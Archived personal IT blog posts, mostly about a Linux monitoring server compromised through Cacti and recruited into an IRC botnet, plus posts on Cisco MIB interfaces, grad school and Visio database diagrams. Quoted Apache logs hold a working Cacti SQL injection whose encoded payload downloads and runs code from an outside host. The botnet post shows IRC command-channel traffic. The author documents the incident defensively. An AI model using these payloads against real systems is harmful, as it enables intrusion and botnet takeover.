September 20, 2007

Cisco MIB: Interfaces on the 3845 Router

Recently I needed to check traffic on specific interfaces of a Cisco 3845 Router. I didn't have a MIB file uploaded to our SNMP workstation, and descriptions of measures were not in synch with the router. Thus I needed to figure out which interface was which. There were 8 valid instances of interface metrics on the router. I was interested in BitsIn/Sec, BitsOut/Sec, and IntSpeed. From IntSpeed, I got the following numbers:
1. 1,000,000,000
2. 1,000,000,000
3. 4,294,967,295
4. 44,736,000
5. 45,000,000
6. 44,736,000
7. 45,000,000
8. 4,294,967,295

Thus I figured out that Serial 0 is 5 and serial 1 is 7. Gig 0 and Gig 1 are 1 and 2. We have two DS-3 circuits (ATT calls them DNECs) in. SNMP may be wonderful but MIBs are a pain. I thought I would write this down before I erase my whiteboard with tomorrow's problem and solution. You can find Cisco's guide to it's MIB and SNMP here.

May 22, 2007

With some help, I find the vulnerability

Secunia says Cacti has four known vulnerabilities. I had forgotten that I had installed Cacti when I was trying to count the pages I had printed and compare those results those from my HP printer. Same IP as my computer was IRCing to. I should start tracking changes so I can have a record of what was changed, when it was changed, and if I granted myself access.

Here's the log files from apache:


213.189.5.233 - - [21/May/2007:14:44:14 -0400] "GET /cacti/ HTTP/1.0" 200 1327 "-" "-"
213.189.5.233 - - [22/May/2007:04:08:21 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,119,103,101,116,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,46,106,112,103,32,45,79,32,47,116,109,112,47,103,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:07 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,102,101,116,99,104,32,45,111,32,47,116,109,112,47,103,111,46,106,112,103,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,111,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,111,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/rra/suntzu.log HTTP/1.0" 404 296 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(114,109,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"

Apparently, that was all it took for my server to be compromised.

Also, I saved the tcpdump from my previous post as an HTML file for people that had trouble with it.

May 21, 2007

I Catch the Hackers in the Act

IIf you've ever wondered exactly how a vulnerability is exploited, or how botnets happen, check the below. Keep in mind that my system is up-to-date on just about everything I can find to update on it. I've also informed the abuse address of the IP in question about what was going on over a month ago, and the rogue server is still out there, relaying information from compromised Linux servers.

I keep a lot of outbound ports closed so that if one of my servers is compromised, it doesn't become another bot on the net. I finally caught the process again, so I started a capture and then opened the ports. I'm not sure what to make of it because the IP address in question goes back to what appears to be a dedicated server in Italy, but the login information says it's a NASA IRC server. What NASA would be doing on serving IRC to the public is beyond me, unless it's a honeypot. It's probably not a real NASA server, at least that's what I hope. Anyway, here are the fun details of what happens when my server tries to call home to its haxor:

The packet analysis also reveals a clue about the origin of the hack: Mihai is the Romanian version of Michael.

Download the uncensored TCPDump file and see for yourself.

My server: SYN
213.92.118.223 223-118-92-213.serverdedicati.seflow.net ACK
my server: ACK SYN
my server: ...i
my server: NICK a3sh-.
: NOTICE AUTH :*** Looking up your hostname..NOTICE AUTH :*** Checking Ident..
my server: ....
: NOTICE AUTH :*** No ident response..
my server: FF 86 C5 CD
: NOTICE AUTH :*** Found your hostname.
my server: ....
:.y.I
my server: USER nh2ies x.x.x.x 213.92.118.223 :Linux mrtg.sampas.net 2.6.9-42.0.10.ELsmp #1 SMP Fri Feb 16 17:17:21 EST 2007 i686 i686 i386 GNU/Linux.
: PING :1041065789..
my server: ....
: .y..
my server: PONG :1041065789.
: (ACK)
: www.nasa.gov 433 * a3sh- :Nickname is already in use..
my server: (ACK)
my server: NICK a3sh-685.
: :www.nasa.gov 001 a3sh-685 :Welcome to the Internet Relay Network : a3sh-685..:www.nasa.gov 002 a3sh-685 :Your host is www.nasa.gov, running version beware1.5.7..:www.nasa.gov 003 a3sh-685 :This server was created Tue Jul 13 2004 at 20:36:17 GMT..:www.nasa.gov 004 a3sh-685 www.nasa.gov beware1.5.7 dgikoswx biklmnoprstv..:www.nasa.gov 005 a3sh-685 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server..:www.nasa.gov 005 a3sh-685 NICKLEN=19 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server..:www.nasa.gov 251 a3sh-685 :There are 172 users and 0 invisible on 1 servers..:www.nasa.gov 254 a3sh-685 1 :channels formed..:www.nasa.gov 255 a3sh-685 :I have 172 clients and 0 servers..:www.nasa.gov NOTICE a3sh-685 :Highest connection count: 195 (195 clients)..:www.nasa.gov 422 a3sh-685 :MOTD File is missing..:www.nasa.gov NOTICE a3sh-685 :on 1 ca 1(4) ft 10(10)..
my server: JOIN #mihai.
::www.nasa.gov 001 a3sh-685 :Welcome to the Internet Relay Network a3sh-685..:www.nasa.gov 002 a3sh-685 :Your host is www.nasa.gov, running version beware1.5.7..:www.nasa.gov 003 a3sh-685 :This server was created Tue Jul 13 2004 at 20:36:17 GMT..:www.nasa.gov 004 a3sh-685 www.nasa.gov beware1.5.7 dgikoswx biklmnoprstv..:www.nasa.gov 005 a3sh-685 MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server..:www.nasa.gov 005 a3sh-685 NICKLEN=19 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server..:www.nasa.gov 251 a3sh-685 :There are 172 users and 0 invisible on 1 servers..:www.nasa.gov 254 a3sh-685 1 :channels formed..:www.nasa.gov 255 a3sh-685 :I have 172 clients and 0 servers..:www.nasa.gov NOTICE a3sh-685 :Highest connection count: 195 (195 clients)..:www.nasa.gov 422 a3sh-685 :MOTD File is missing..:www.nasa.gov NOTICE a3sh-685 :on 1 ca 1(4) ft 10(10)..

:a3sh-685!~nh2ies@c-68-34-65-58.hsd1.md.comcast.net JOIN :#mihai..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-685 a3sh-9337 a3sh-4554 a3sh-8354 a3sh-2934 a3sh-3103 a3sh-8151 a3sh-4633 a3sh-3872 a3sh-2552 a3sh-1595 a3sh-9230 a3sh-5907 a3sh-2313 a3sh-6041 a3sh-2448 a3sh-5134 a3sh-3633 a3sh-5025 a3sh-1979 a3sh-9893 a3sh-8688 a3sh-7544 a3sh-4987 a3sh-975 a3sh-8640 a3sh-7756 a3sh-6376 a3sh-9321 a3sh-5422 a3sh-5761 a3sh-9259 a3sh-5956 a3sh-7978 a3sh-9088 a3sh-701 a3sh-4473 a3sh-7260 a3sh-2013 a3sh-9890 a3sh-933 a3sh-8007 a3sh-6486 a3sh-7318 a3sh-5495 a3sh-6205 a3sh-6078..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-7555 a3sh-791 a3sh-1336 a3sh-5923 a3sh-4822 a3sh-8527 a3sh-4988 a3sh-90 a3sh-4895 a3sh-7019 a3sh-6666 a3sh-4330 a3sh-8521 a3sh-215 a3sh-5509 a3sh-6106 a3sh-4579 a3sh-8655 a3sh-1998 a3sh-9573 a3sh-5017 a3sh-6554 a3sh-8403 a3sh-288 a3sh-3328 a3sh-4059 a3sh-6246 a3sh-697 a3sh-7085 a3sh-9646 a3sh-8876 a3sh-6779 a3sh-3730 a3sh-8248 a3sh-4757 a3sh-7497 a3sh-4715 a3sh-4357 a3sh-229 a3sh-4681 a3sh-8629 a3sh-2734 a3sh-6290 a3sh-930 a3sh-1515 a3sh-1103 a3sh-3405 a3sh-9597..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-914 a3sh-2419 a3sh-1961 a3sh-624 a3sh-9217 a3sh-8124 a3sh-9198 a3sh-1667 a3sh-7710 a3sh-3272 a3sh-2880 a3sh-5360 a3sh-9749 a3sh-60 a3sh-6378 a3sh-2191 a3sh-8644 a3sh-1313 a3sh-2447 a3sh-3410 a3sh-4480 a3sh-8506 a3sh-1625 a3sh-5664 a3sh-5614 a3sh-9804 a3sh-1344 a3sh-4523 a3sh-7203 a3sh-3438 a3sh-36

46 a3sh-6682 a3sh-8430 a3sh-700 a3sh-4929 a3sh-9957 a3sh-9284 a3sh-1775 +a3sh-3250 a3sh-2594 a3sh-3037 a3sh-3353 a3sh-2931 a3sh-366 a3sh-934 a3sh-1772 a3sh-8760 a3sh-7777..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-8519 a3sh-8691 a3sh-9382 a3sh-3749 a3sh-8126 a3sh-5627 a3sh-1038 a3sh-3316 a3sh-5240 a3sh-379 a3sh-6854 a3sh-9518 a3sh-1493 a3sh-7073 a3sh-9670 +a3sh-3201 a3sh-7933 a3sh-4989 a3sh-960 a3sh-3584 a3sh-7571 a3sh-9905 a3sh-6198 a3sh-9436 a3sh-7021 a3sh-9951 a3sh-43 a3sh-1578 @a3sh-..:www.nasa.gov 366 a3sh-685 #mihai :End of /NAMES list...

April 18, 2007

They tried to get my server to join a BotNet

I first noticed a mysterious connection on a netstat:

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 1 mrtg.sampas.net:42321 223-118-92-213.server:49153 SYN_SENT

I also noticed Apache had opened a shell:
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
1 S apache 18005 1 0 76 0 - 1282 - Apr10 ? 00:00:00 sh -i

Soon after, perl became a runaway process, consuming 100% of my CPU time. And I thought /sbin/nologin meant user Apache couldn't just get a shell. I updated zlib from 1.2.2 to 1.2.3 to fix a security hole. up2date -u reports everything is up-to-date. (It did that for my old zlib, too.) I don't see any new holes in my applications, MT and Gallery. I did a Nessus scan with recent updates, and all it showed no holes and one warning. I ran clamscan and it didn't find anything, either. Rkhunter found nothing, and nikto gave me the following output:

+ Server: Apache/2.0.52 (Red Hat) + Allowed HTTP Methods: GET,HEAD,POST,OPTIONS,TRACE + Apache/2.0.52 appears to be outdated (current is at least Apache/2.2.3). Apache 1.3.33 is still maintained and considered secure. + / - TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details (TRACE) + /usage/ - Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02. (GET)


So now I'm stuck looking through my apache access logs, because that's the only thing exposed to the outside world.

I did a capture just while open my firewall for a couple of minutes, and I saw it try to log in to an IRC channel. Ouch. I've been pwned. Fortunately, my firewall stops my server from being used for attacks, and I was able to block the port range used by the IRC bot.

Finally, Red Hat released a lot of new patches for PHP, and I set PerlTaintCheck On in /etc/httpd/conf.d/perl.conf, which was the real problem: user Apache had started listening on port 80 using Perl, so I couldn't even restart httpd.

Next time, I need to check the logs closer and post a network capture of the login process.

April 9, 2007

I graduate from grad school, get a new job, a new house, and become a father.

I graduated from Grad School with a Master's in Information Systems Technology, focusing on Management Information Systems.

It's official. George Washington University sent me my degree in the mail. They took three and a half months to get it out. Even the registrar didn't change my status until March after a couple of phone calls. A lot has happened since then: I moved into a new (old) house, started a new job, and am about to become a father.

What did I really learn in grad school anyway? I learned a lot, but every class covered, to some degree, entity-relationship diagrams (ERDs), data-flow diagrams (DFDs), and object-oriented diagrams, which can be state charts, class diagrams, and use cases, to name a few. Some classes went so far as to cover the theory behind them. Every class covered the relational database model, which hasn't changed much in thirty years and is still useful and relevant to just about every information system I've ever worked with.

Since IS grad school is part of the business school, we learned to work in teams. It's not about writing code -- it's about finishing projects on time. The funny part is the professors don't teach much about team projects -- they just expect you to manage yourselves.

October 2, 2006

How to Reverse Engineer a Database with Microsoft Visio

What do we study in Information Systems Grad School? If there's a single topic that comes up in every class, it's databases. If we haven't memorized the first three normal forms by now, we haven't learned much. While few of us will bother going into Boyce-Codd Normal Form, 4NF and 5NF, every specification for a system we write that has a database needs an entity relationship diagram. An ERD is a visual representation of your data model, and your data model is probably the single most important part of any system you design. A good data model will survive several major versions of your software; a poor data model will make your system useless. Thus, we spend a lot of time doing data models and documenting them with ERDs.

As much as I love Visio, drawing the things from scratch is somewhat tedious. It's much easier to design and test in Access. (I have it on good authority that even elite Oracle DBAs who hand-tune Solaris for better performance will design and test in Access just because it's easy.) So what do you do when you have a decent test DB in Access and you don't want to diagram every little change in your masterful Visio ERD? Reverse engineer.

In Visio, it's fairly easy, but there are a couple of spots where it doesn't behave as nicely as it should. I'm going to refer to Visio 2007, still in Beta and free for the download and registration. Visio 2003 is almost the same. Visio 2003 Enterprise Architect Edition will create the database from your diagram, in case you can design an enterprise DB but don't know how to create the tables in SQL. (Not really someone you'd want touching your SQL server.)

1. Open Visio and select New | Software & Database | Database Model Diagram with the units of your choice.
2. Now that you have a database model diagram open, the database menu will appear. Select "Reverse Engineer" off of the database diagram.
3. A confusing dialog box will appear. Use it to verify you have the right drivers installed.
4. For Microsoft Access, choose Microsoft Access as your driver, and hit Next.
5. A username and password dialog box will pop up. Unless you've assigned a username and pw to the database, leave it blank and hit OK.
6. Navigate your filesystem and select your database. Ignore the clunkiness and be grateful that you can see filenames longer than 8.3.
7. When you have found your .MDB file, choose it and hit OK.
8. Select the types of objects you would like to import and hit Next. (No, you don't get stored procedures and triggers in Access, but you would in SQL.)
9. Select the specific tables, queries, etc. you want to see in your diagram and hit Next.
10. Select Yes to add them to your current diagram, and hit Finish. (Select no you have a lot of tables, queries, etc.)
11. You should see your tables in the diagram.
12. To add the crow's feet and cardinality, select options on the database menu. (Database | Options | Document )
13. You get three sections to change here: The General tab covers symbol sets: IDEF1X or Relational, Conceptual, Physical, both, or names based on symbol set. The table tab lets you display keys, indexes, non keys, and the IDEF1X optionality 0. The relationship tab lets you display relationships (duh), crow's feet, cardinality, and referential actions. You must select cardinality before you select crow's feet. (caridinality gets greyed out when crow's feet is checked.)
14. To update your diagram, select "Refresh Model" on the Database menu...

Now that you can see your information model, you know why it's messed up. That database that your business/organization/department runs on -- it's not in any kind of normal form. Or it has about 100 tables more than you thought it should.

The database people in my office have a debate: were the software engineers just trying to make it impossible to wean your organization off of their support, or were they just bad at information modeling?

September 22, 2006

Visit my new Educational Technologies Blog

Given that I have a new job in education, I started doing a few entries about recent developments in education and technology. I use the framework of educational technology to answer President Bush's question, "Is our children learning?"

At least it explains the dearth of recent posts here.